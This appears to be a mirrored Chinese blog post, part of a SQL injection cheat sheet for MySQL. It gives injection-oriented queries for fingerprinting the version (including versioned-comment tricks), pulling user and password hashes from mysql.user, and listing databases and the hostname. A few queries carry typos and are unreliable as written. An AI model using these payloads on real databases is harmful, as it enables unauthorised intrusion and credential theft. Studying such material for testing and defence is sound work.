zoukankan      html  css  js  c++  java
  • sql注入知识库-mysql篇(2)

    上接mysql篇(1)

    测试数据库版本

    1.使用自带函数

    version()

    @@version

    @@global.version

    examples

    select version();

    SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';

    mid() 用于截取字符串,用法  mid(字符串,起始位置,截取几个字符)

     备注:

    如果数据库运行在windows的机器上的话输出会带上-nt-log

    2.使用特殊代码

    1 /*!50094eaea*/ ;   False 如果版本在5.0094或以上

    1 /*!50096eaea*/ ;   True  如果版本在5.0096以下

    1/*!50095eaea*/ ;   False  如果版本是5.0095

    备注:

    当你不能将任何sql带入注入位置查询的时候,这个方法可以用于检测数据库版本

    数据库凭证

    table         mysql.user

    columns     user password

    current user  user()   current_user()   current_user  system_user()   session_user()

    examples:

    seclct current_user ;

    SELECT CONCAT_WS(0x3A, userpassword) FROM mysql.user WHERE user = 'root'-- (Privileged)

    数据库名字

    table  information_schema.schemata     mysql.db

    columns  schema_name     db

    currentdb  database()    schema()

    examples:

    select database();

    select schema_name from information_schema.schemata;

    select distinct(db) from mysql.db  

    主机名

    @@hostname

    example

    select @@hostname;

     

     

     

  • 相关阅读:
    百度面试题:求绝对值最小的数
    数据库工具
    java内存:堆、栈、常量池、方法区
    windows的cmd模式下目录名称中有空格
    Tomcat启动45秒解决问题
    sitemesh
    向eclipse中导入myeclipse项目
    HTTP学习
    springCloud的使用01-----服务的注册和发现
    springboot多数据库及分布式事务配置
  • 原文地址:https://www.cnblogs.com/luyg24/p/4321628.html
Copyright © 2011-2022 走看看